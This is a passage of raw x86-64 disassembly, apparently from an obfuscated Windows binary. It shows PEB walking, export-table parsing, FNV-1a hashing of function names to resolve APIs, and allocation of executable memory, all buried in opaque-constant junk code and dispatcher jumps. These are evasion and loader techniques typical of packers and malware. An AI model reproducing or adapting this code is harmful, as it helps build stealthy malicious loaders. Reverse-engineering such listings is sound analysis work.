not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x6b14347b
pushf
not r9d
add r9d, 0x8bcd36a8
xor r9d, 0x949280c0
rol r9d, 0xf4
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x3c879050
pushf
not eax
add eax, 0x99c10db7
xor eax, 0xe6d9c45b
rol eax, 0xda
popf
pushf
not eax
add eax, 0xa497a90a
xor eax, 0xde4386be
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x9b3a9dab
xor eax, 0x80bd2997
rol eax, 6
popf
jmp 0x1400e4a92
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1400e6165
push rax
pushf
mov eax, 0xd2c992f7
pushf
not eax
add eax, 0xc604e722
xor eax, 0xf33ed42a
rol eax, 0x93
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x41e7b99e
pushf
not eax
add eax, 0xa862b2f7
xor eax, 0xe67af94d
rol eax, 0xa1
popf
jmp 0x1400e4a92
jmp 0x1400e5f86
mov qword [rbx + 8], rax
push rax
pushf
mov eax, 0x9de286a4
pushf
not eax
add eax, 0xef8aedbc
xor eax, 0xddf3b49e
rol eax, 0xab
popf
pushf
not eax
add eax, 0xa1612e13
xor eax, 0xc9088a10
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf9721027
xor eax, 0xf7f882a5
rol eax, 0x61
popf
jmp 0x1400e4a92
mov r8, qword [rbx]
mov rax, qword [rbx + 8]
movsxd rcx, dword [rbx + 0x10]
inc rcx
lea rdx, [rcx + rcx*2]
mov dword [rbx + 0x10], ecx
mov qword [rbx + rdx*8 + 0x18], rax
mov qword [rbx + rdx*8 + 0x20], rdi
mov qword [rbx + rdx*8 + 0x28], rsi
movsxd rcx, dword [rbx + 0x10]
lea r9, [rcx + rcx*2]
mov rcx, qword [rbx + r9*8 + 0x20]
mov edx, ecx
mov r10d, r8d
mov r11d, ecx
sub r11d, r8d
mov edx, r11d
rol r11d, 8
mov r10, qword [rbx + r9*8 + 0x28]
mov r9, r10
cmp r11d, dword [r10 + 4]
je 0x1400e627c
push rax
pushf
mov eax, 0x2e5eea65
pushf
not eax
add eax, 0xd5edab0a
xor eax, 0xbc7371a0
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc6780c0b
xor eax, 0xc7b089fd
rol eax, 0xf0
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x162b0039
pushf
not eax
add eax, 0x816f82f0
xor eax, 0xe34482b7
rol eax, 0x85
popf
jmp 0x1400e4a92
xor r10d, r10d
nop dword [rax]
push rax
pushf
mov eax, 0x39859cd
pushf
not eax
add eax, 0xfd4dfd20
xor eax, 0x985b6776
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xb076bde5
xor eax, 0xa73a2410
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xac91dafc
xor eax, 0x82593955
rol eax, 0xe
popf
jmp 0x1400e4a92
mov edx, r10d
mov r11, qword [rcx + r10]
mov qword [rax + r10], r11
movsxd rcx, dword [rbx + 0x10]
lea rcx, [rcx + rcx*2]
mov ecx, dword [rbx + rcx*8 + 0x20]
mov r9d, r8d
sub ecx, r8d
ror r11, cl
mov qword [rax + r10], r11
movsxd rcx, dword [rbx + 0x10]
lea rcx, [rcx + rcx*2]
mov rsi, qword [rbx + rcx*8 + 0x20]
mov rcx, qword [rbx + rcx*8 + 0x28]
sub rcx, r8
mov rdi, rcx
mov ecx, r10d
ror rdi, cl
sub rsi, r8
mov ecx, edi
rol rsi, cl
xor rsi, r11
mov qword [rax + r10], rsi
mov r11, r10
movsxd rcx, dword [rbx + 0x10]
lea r10, [rcx + rcx*2]
mov rdx, qword [rbx + r10*8 + 0x20]
mov rcx, rdx
mov esi, edx
sub esi, r8d
mov edx, esi
rol esi, 8
mov r9, qword [rbx + r10*8 + 0x28]
xor esi, dword [r9 + 4]
add r11, 8
mov r10, r11
cmp r11, rsi
jb 0x1400e638f
push rax
pushf
mov eax, 0xcdd986cf
pushf
not eax
add eax, 0x8cc0795a
xor eax, 0x9ee6f28c
rol eax, 3
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x98f2f6d9
pushf
not eax
add eax, 0xf75582ef
xor eax, 0xbf32090b
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd44c35f8
xor eax, 0x9237bbf2
rol eax, 0x7d
popf
jmp 0x1400e4a92
rol edx, 4
mov ecx, edx
xor ecx, dword [r9]
cmp ecx, 2
jb 0x1400e6419
push rax
pushf
mov eax, 0x53025436
pushf
not eax
add eax, 0xc9f405d9
xor eax, 0xa7efbdf7
rol eax, 0xd
popf
pushf
not eax
add eax, 0xd58e3f06
xor eax, 0xff307bcd
rol eax, 0x18
popf
pushf
not eax
add eax, 0xc1fcfaae
xor eax, 0x9381c6ae
rol eax, 0x8d
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x7edb02db
pushf
not eax
add eax, 0xea8f8155
xor eax, 0xe41897fe
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xdb83bcaa
xor eax, 0xecc6f362
rol eax, 0x52
popf
pushf
not eax
add eax, 0xe076de06
xor eax, 0xa622cf77
rol eax, 0xb5
popf
jmp 0x1400e4a92
lea rdx, [r8 - 0x80000000]
mov qword [rsp + 0xa8], rdx
mov ecx, ecx
mov r9, rcx
shl r9, 4
add r9, 0xfffffffffffffff0
mov qword [rsp + 0xa0], r9
xor r11d, r11d
jmp 0x1400e6600
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xf6feb850
pushf
not eax
add eax, 0xc15bfdb5
xor eax, 0xc4594d08
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc4c48346
xor eax, 0xc2c6cd3e
rol eax, 0x93
popf
jmp 0x1400e4a92
mov edx, r12d
mov r12d, r9d
sub edx, r9d
mov ecx, r14d
mov r14d, edx
mov r15d, edx
mov esi, edx
rol edx, cl
xor edx, r10d
mov ecx, edi
rol r14d, cl
mov rcx, qword [rsp + 0xb0]
rol r15d, cl
xor r14d, r8d
xor r15d, ebp
push r9
not r9d
sub edx, r9d
pop r9
sub edx, 1
mov ecx, eax
push rax
not eax
sub r14d, eax
pop rax
sub r14d, 1
push r15
not r15d
sub r14d, r15d
pop r15
sub r14d, 1
sub edx, r14d
mov ecx, r11d
add ecx, 0x18
rol esi, cl
xor esi, dword [r13 + r11 + 0x14]
mov ecx, esi
mov dword [rax + rcx], edx
mov rcx, r11
add rcx, 0x10
mov r11, rcx
cmp qword [rsp + 0xa0], rcx
mov r8, r9
je 0x1400e65cd
push rax
pushf
mov eax, 0x9425c962
pushf
not eax
add eax, 0xbac8d78a
xor eax, 0xcc4fa51d
rol eax, 0x64
popf
pushf
not eax
add eax, 0x94b1376f
xor eax, 0xe5e68560
rol eax, 0x5b
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xe5f44d8
pushf
not eax
add eax, 0xc55dc1f3
xor eax, 0xc297b265
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x8b644ebb
xor eax, 0xe815d307
rol eax, 0x9d
popf
jmp 0x1400e4a92
movsxd rcx, dword [rbx + 0x10]
lea rdx, [rcx + rcx*2]
mov r12, qword [rbx + rdx*8 + 0x20]
mov ecx, r12d
mov r10d, r8d
mov esi, r12d
sub esi, r8d
lea r14, [r11 + 0x20]
mov ecx, r14d
mov r10d, esi
mov ebp, esi
mov r15d, esi
rol r15d, cl
mov r13, qword [rbx + rdx*8 + 0x28]
mov edx, dword [r11 + r13 + 0x10]
lea rdi, [r11 + 0x14]
mov ecx, edi
rol r10d, cl
mov r9, r8
mov r8d, dword [r11 + r13 + 0x18]
lea rcx, [r11 + 0x1c]
mov qword [rsp + 0xb0], rcx
rol ebp, cl
xor r10d, edx
mov ecx, r10d
xor ebp, r8d
mov r10d, ebp
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov r10d, dword [r11 + r13 + 0x1c]
xor r15d, r10d
add r15, qword [rsp + 0xa8]
sub r15, rcx
mov ebp, r8d
mov r8d, edx
movabs rcx, 0x827fe69f2bf2f08e
pushf
not rcx
add rcx, 0x5274bece
xor rcx, 0x7bf79561
rol rcx, 0xdd
popf
pushf
not rcx
add rcx, 0x460ef8aa
xor rcx, 0x765ef57f
rol rcx, 0x1e
popf
pushf
not rcx
add rcx, 0x5ffe01ba
xor rcx, 0x54164b6b
rol rcx, 0x48
popf
cmp r15, rcx
ja 0x1400e6724
push rax
pushf
mov eax, 0x3793e6b4
pushf
not eax
add eax, 0xff08bee1
xor eax, 0xaa693e16
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xd84f4ebe
xor eax, 0x89cb91f6
rol eax, 0xec
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x939f0322
pushf
not eax
add eax, 0xd7341829
xor eax, 0xda724305
rol eax, 0x88
popf
pushf
not eax
add eax, 0xab95799e
xor eax, 0xc40b7604
rol eax, 0x70
popf
jmp 0x1400e4a92
int3
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
nop
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
lea rax, [0x1a6af8741]
pushf
sub rax, 0x66ab4852
popf
mov qword [rsp + 0xc0], rax
mov rsi, qword gs:[0x30]
mov rcx, qword [rsi + 0x120]
mov rax, rcx
test rcx, rcx
jne 0x1400e6874
push rax
pushf
mov eax, 0x260a62ec
pushf
not eax
add eax, 0xd5ce4991
xor eax, 0xcd53ff74
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xc3223bd4
xor eax, 0xc199b5aa
rol eax, 0x51
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xfef1dea9
pushf
not eax
add eax, 0x9e4db06e
xor eax, 0x9f5bd1d1
rol eax, 0x82
popf
jmp 0x1400e4a92
mov dword [rsp + 0x4c], 4
mov dword [rsp + 0x48], 0x3000
mov dword [rsp + 0x44], 0x100000
mov qword [rsp + 0xb8], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1400e695f
nop dword [rax]
push rax
pushf
mov eax, 0x41747637
pushf
not eax
add eax, 0xa762d55e
xor eax, 0xa5ee5f28
rol eax, 0x42
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x396f08a9
pushf
not eax
add eax, 0xf3f73679
xor eax, 0xba8bedcf
rol eax, 0xf4
popf
jmp 0x1400e4a92
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x58], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x50], ecx
mov rax, qword [rsp + 0x60]
cmp rax, qword [rsp + 0x58]
je 0x1400e69eb
push rax
pushf
mov eax, 0x59b493ce
pushf
not eax
add eax, 0x9df37d32
xor eax, 0xacf3ed6c
rol eax, 0x36
popf
pushf
not eax
add eax, 0xf53fc7f4
xor eax, 0xa00bb6c2
rol eax, 0x55
popf
pushf
not eax
add eax, 0xa9a39f17
xor eax, 0xfb997555
rol eax, 3
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x96546e57
pushf
not eax
add eax, 0xcd35818a
xor eax, 0xe38f9a09
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xb86f6d8a
xor eax, 0xe300e475
rol eax, 0x20
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1400e6bbe
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xe3e46462
pushf
not eax
add eax, 0xc890cd1b
xor eax, 0x9baa5286
rol eax, 0x76
popf
pushf
not eax
add eax, 0xb4e4ebe0
xor eax, 0xb7e18bf8
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xe00f9ad6
xor eax, 0xf2ea5192
rol eax, 0xa7
popf
jmp 0x1400e4a92
mov r8d, 0xe960a5da
pushf
not r8d
add r8d, 0xf3b9e586
xor r8d, 0xbb0e2379
rol r8d, 0x5f
popf
pushf
not r8d
add r8d, 0xae46587e
xor r8d, 0xb17b8678
rol r8d, 0xfc
popf
pushf
not r8d
add r8d, 0xdecd105a
xor r8d, 0xde45c768
rol r8d, 0xe2
popf
push rax
pushf
mov eax, 0xab884374
pushf
not eax
add eax, 0xd6f08f42
xor eax, 0xb5612e69
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xf1b33259
xor eax, 0xb0ec79a4
rol eax, 0x61
popf
pushf
not eax
add eax, 0xe3c8c27c
xor eax, 0x9fe77fa4
rol eax, 0x7f
popf
jmp 0x1400e4a92
mov rcx, rax
cmp r8d, 0x875a5e8b
je 0x1400e6b8b
push rax
pushf
mov eax, 0xfdd9ee8b
pushf
not eax
add eax, 0xcc93f609
xor eax, 0xcebe177d
rol eax, 0xd4
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xc9765480
pushf
not eax
add eax, 0xc07d38e2
xor eax, 0xb4841820
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xf10f15c2
xor eax, 0xe6f2fd53
rol eax, 0x3f
popf
jmp 0x1400e4a92
mov rax, rcx
sub rax, 1
jb 0x1400e6bfa
push rax
pushf
mov eax, 0x7b778062
pushf
not eax
add eax, 0x91e0387c
xor eax, 0xa0e1a0cb
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe3ea1a2c
xor eax, 0x9f4d30d0
rol eax, 0x52
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x7affd030
pushf
not eax
add eax, 0xa7c74352
xor eax, 0xd5f7d5ee
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xfc1c07c9
xor eax, 0x9ace660e
rol eax, 0xbd
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x1400e6c88
push rax
pushf
mov eax, 0x1a06171c
pushf
not eax
add eax, 0x94c0320a
xor eax, 0xe98ea934
rol eax, 0xc
popf
pushf
not eax
add eax, 0xfebaec9a
xor eax, 0x837d5362
rol eax, 4
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xd81ab15
pushf
not eax
add eax, 0xf6af458e
xor eax, 0xf6ad9a78
rol eax, 0x89
popf
jmp 0x1400e4a92
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x606c1aee
pushf
not r9d
add r9d, 0x8e5a60ca
xor r9d, 0xa3217b28
rol r9d, 0x7c
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x8508ea23
pushf
not eax
add eax, 0x817ce268
xor eax, 0xfc73fa64
rol eax, 0x9d
popf
jmp 0x1400e4a92
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1400e6d54
push rax
pushf
mov eax, 0x72312cf0
pushf
not eax
add eax, 0xb76ea3e0
xor eax, 0xfafd884a
rol eax, 0xd
popf
pushf
not eax
add eax, 0xd42dd902
xor eax, 0xb4486109
rol eax, 0x72
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xd5e435d4
pushf
not eax
add eax, 0xbdf9acb3
xor eax, 0xbb0c8831
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xe8c1dccd
xor eax, 0xb915575d
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xfd4de9a4
xor eax, 0x86b16e97
rol eax, 0xb
popf
jmp 0x1400e4a92
jmp 0x1400e6b5f
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x4c]
mov r8d, dword [rsp + 0x48]
movsxd rdx, dword [rsp + 0x44]
mov rcx, qword [rsp + 0xb8]
jmp 0x1400e6e3a
call rax
mov qword [rsi + 0x120], rax
mov qword [rsp + 0xb0], 0x30
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xa8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1400e6efe
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x1f137ac6
pushf
not eax
add eax, 0x8b3a7993
xor eax, 0xec26fec8
rol eax, 0xe4
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x20f7140b
pushf
not eax
add eax, 0x891b3bc6
xor eax, 0x88e46f3d
rol eax, 0xde
popf
pushf
not eax
add eax, 0xd95b0261
xor eax, 0xa12af02d
rol eax, 0x42
popf
jmp 0x1400e4a92
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x70], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x78], rdx
mov dword [rsp + 0x68], ecx
mov rax, qword [rsp + 0x78]
cmp rax, qword [rsp + 0x70]
je 0x1400e6f64
push rax
pushf
mov eax, 0x1d628a39
pushf
not eax
add eax, 0xc208f93a
xor eax, 0xb6266f00
rol eax, 0x8a
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x3f1d5819
pushf
not eax
add eax, 0x9197260a
xor eax, 0x87fe0fff
rol eax, 0x87
popf
pushf
not eax
add eax, 0xf5069454
xor eax, 0xb1258c6d
rol eax, 0x84
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1400e7111
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x2067dd8a
pushf
not eax
add eax, 0x88b1c200
xor eax, 0xf7a35ff8
rol eax, 0x82
popf
pushf
not eax
add eax, 0xf092af2d
xor eax, 0xb0e7c0f2
rol eax, 0x44
popf
jmp 0x1400e4a92
mov r8d, 0x5a3cedee
pushf
not r8d
add r8d, 0xb4c0b36e
xor r8d, 0xe185521f
rol r8d, 0x89
popf
pushf
not r8d
add r8d, 0xf20a638d
xor r8d, 0xc9785f45
rol r8d, 0x25
popf
pushf
not r8d
add r8d, 0x8facba81
xor r8d, 0xf7982bfb
rol r8d, 0x30
popf
push rax
pushf
mov eax, 0x21e8a1cc
pushf
not eax
add eax, 0x8d7bafba
xor eax, 0xfb8bdf5d
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xb5fcf17e
xor eax, 0xc5eaee63
rol eax, 0xe7
popf
jmp 0x1400e4a92
mov rcx, rax
cmp r8d, 0xb69294a8
je 0x1400e70de
push rax
pushf
mov eax, 0x5ccded1f
pushf
not eax
add eax, 0x8f19b8d1
xor eax, 0xae4bcbb1
rol eax, 0x47
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xa743f8e2
pushf
not eax
add eax, 0x981c88ce
xor eax, 0xc78776a4
rol eax, 0xec
popf
pushf
not eax
add eax, 0xcadbc69e
xor eax, 0xcb46faa8
rol eax, 0xf9
popf
jmp 0x1400e4a92
mov rax, rcx
sub rax, 1
jb 0x1400e7160
push rax
pushf
mov eax, 0x397652b
pushf
not eax
add eax, 0xba1bd2d7
xor eax, 0x9d7f4635
rol eax, 0xff
popf
pushf
not eax
add eax, 0xe814dd60
xor eax, 0xa6ef1dcf
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xdf0d27fd
xor eax, 0xf51c7ade
rol eax, 0x9b
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xee1a8b41
pushf
not eax
add eax, 0xa0651072
xor eax, 0x80bf19d3
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x94051a18
xor eax, 0xc74722df
rol eax, 0xf7
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x1400e7201
push rax
pushf
mov eax, 0x919e83c7
pushf
not eax
add eax, 0xa080d643
xor eax, 0xab58d838
rol eax, 0x69
popf
pushf
not eax
add eax, 0xe965c227
xor eax, 0xdc4565f8
rol eax, 0xff
popf
pushf
not eax
add eax, 0xad77d650
xor eax, 0xd96ce6be
rol eax, 0x16
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x1fd4cfd
pushf
not eax
add eax, 0xc0ac123e
xor eax, 0xbccec540
rol eax, 0x2d
popf
jmp 0x1400e4a92
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x2aa9f6cf
pushf
not r9d
add r9d, 0xc26c0a81
xor r9d, 0xc9504f9d
rol r9d, 0x81
popf
pushf
not r9d
add r9d, 0xccbee07e
xor r9d, 0xfe7866c8
rol r9d, 0x60
popf
pushf
not r9d
add r9d, 0xd6c13401
xor r9d, 0xc9901d18
rol r9d, 0xa
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x69e33d73
pushf
not eax
add eax, 0xef53aee3
xor eax, 0x99ef1683
rol eax, 3
popf
pushf
not eax
add eax, 0x85385925
xor eax, 0x88bd19c4
rol eax, 0x89
popf
jmp 0x1400e4a92
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1400e7325
push rax
pushf
mov eax, 0x7614c834
pushf
not eax
add eax, 0xcfcc2059
xor eax, 0xc0a108a5
rol eax, 0x56
popf
pushf
not eax
add eax, 0x9b27c708
xor eax, 0xface5a2c
rol eax, 0x98
popf
pushf
not eax
add eax, 0xf8a86b20
xor eax, 0x99285a0c
rol eax, 0x3e
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x1fe32b15
pushf
not eax
add eax, 0x9d1ef6ad
xor eax, 0xc5e8d0c9
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xabc06d07
xor eax, 0xfc645279
rol eax, 0xd8
popf
jmp 0x1400e4a92
jmp 0x1400e70b2
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r8, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xc0]
jmp 0x1400e73e6
call rax
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsi + 0x120]
mov qword [rcx], rax
mov rax, qword [rsi + 0x120]
push rax
pushf
mov eax, 0x6320c0ce
pushf
not eax
add eax, 0xb93eacb6
xor eax, 0xb3619546
rol eax, 0xec
popf
pushf
not eax
add eax, 0xc5ea47ba
xor eax, 0xa11492bc
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x9e757378
xor eax, 0xf896802b
rol eax, 0x80
popf
jmp 0x1400e4a92
mov rsi, rax
cmp qword [rax + 8], 0
jne 0x1400e749b
push rax
pushf
mov eax, 0xe373fde9
pushf
not eax
add eax, 0xba473622
xor eax, 0xff45ad54
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xf206d6c2
xor eax, 0xb8bf052a
rol eax, 0x40
popf
pushf
not eax
add eax, 0xb78feee2
xor eax, 0xc36e656b
rol eax, 0x72
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x12b62a25
pushf
not eax
add eax, 0xc35cf9a4
xor eax, 0xb0a6cf18
rol eax, 0x80
popf
jmp 0x1400e4a92
mov qword [rsp + 0xa0], 0x18018
mov rdi, 0xfffffffffffe7fe7
add rdi, qword [rsi]
jmp 0x1400e75ca
nop dword [rax]
push rax
pushf
mov eax, 0x5b3d9942
pushf
not eax
add eax, 0xeeb21477
xor eax, 0xe3747b31
rol eax, 0xe4
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
jmp 0x1400e7578
call rax
add rdi, 0xfffffffffffe7fe8
test rax, rax
jne 0x1400e75aa
push rax
pushf
mov eax, 0x995484b3
pushf
not eax
add eax, 0x958273dd
xor eax, 0xfc01ef29
rol eax, 0x91
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xfb59f55a
pushf
not eax
add eax, 0x92508d1b
xor eax, 0x8fb697c0
rol eax, 0xa
popf
jmp 0x1400e4a92
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x3c], 0x3000
mov qword [rsp + 0x98], rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1400e76ad
nop
push rax
pushf
mov eax, 0xc3c8a830
pushf
not eax
add eax, 0xc8950656
xor eax, 0x88943ed6
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x8528d46f
xor eax, 0xc28ca7b3
rol eax, 0x21
popf
pushf
not eax
add eax, 0xb443375c
xor eax, 0xeffbe379
rol eax, 6
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x7395d8ad
pushf
not eax
add eax, 0x9332e0d4
xor eax, 0x88f91da4
rol eax, 0xed
popf
pushf
not eax
add eax, 0x9ba337f8
xor eax, 0xbd0103e3
rol eax, 0x34
popf
pushf
not eax
add eax, 0xf609a335
xor eax, 0x877423f6
rol eax, 0x53
popf
jmp 0x1400e4a92
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x88], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x90], rdx
mov dword [rsp + 0x80], ecx
mov rax, qword [rsp + 0x90]
cmp rax, qword [rsp + 0x88]
je 0x1400e7722
push rax
pushf
mov eax, 0xa14fd684
pushf
not eax
add eax, 0xae46c137
xor eax, 0xccf6eab7
rol eax, 0x84
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x1dadfe27
pushf
not eax
add eax, 0xd3233c60
xor eax, 0xb5751338
rol eax, 0x79
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1400e78d4
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x1c6ba45e
pushf
not eax
add eax, 0xab317d0b
xor eax, 0x8ed258ac
rol eax, 0x72
popf
jmp 0x1400e4a92
mov r8d, 0x13afb26e
pushf
not r8d
add r8d, 0xb4b2829e
xor r8d, 0xf54bd2dd
rol r8d, 0xa
popf
pushf
not r8d
add r8d, 0xd293a04d
xor r8d, 0x9fab508f
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xc32d7676
xor r8d, 0x97c2f004
rol r8d, 0xea
popf
push rax
pushf
mov eax, 0x58f92089
pushf
not eax
add eax, 0x8387d6db
xor eax, 0xa20bb5db
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xbf70aa19
xor eax, 0xb1941d05
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xfaf2df4b
xor eax, 0xd3bfe3a2
rol eax, 0x81
popf
jmp 0x1400e4a92
mov rcx, rax
cmp r8d, 0x3164d458
je 0x1400e788e
push rax
pushf
mov eax, 0xe19e088c
pushf
not eax
add eax, 0xa4498ce7
xor eax, 0xcf3b853f
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xb6de6bba
xor eax, 0xca5e6090
rol eax, 0xc6
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xfd2da1c7
pushf
not eax
add eax, 0x8f6c2c87
xor eax, 0x897f135d
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xf8363679
xor eax, 0xe1eb5d5a
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa45f1656
xor eax, 0x96f2946f
rol eax, 0x15
popf
jmp 0x1400e4a92
mov rax, rcx
sub rax, 1
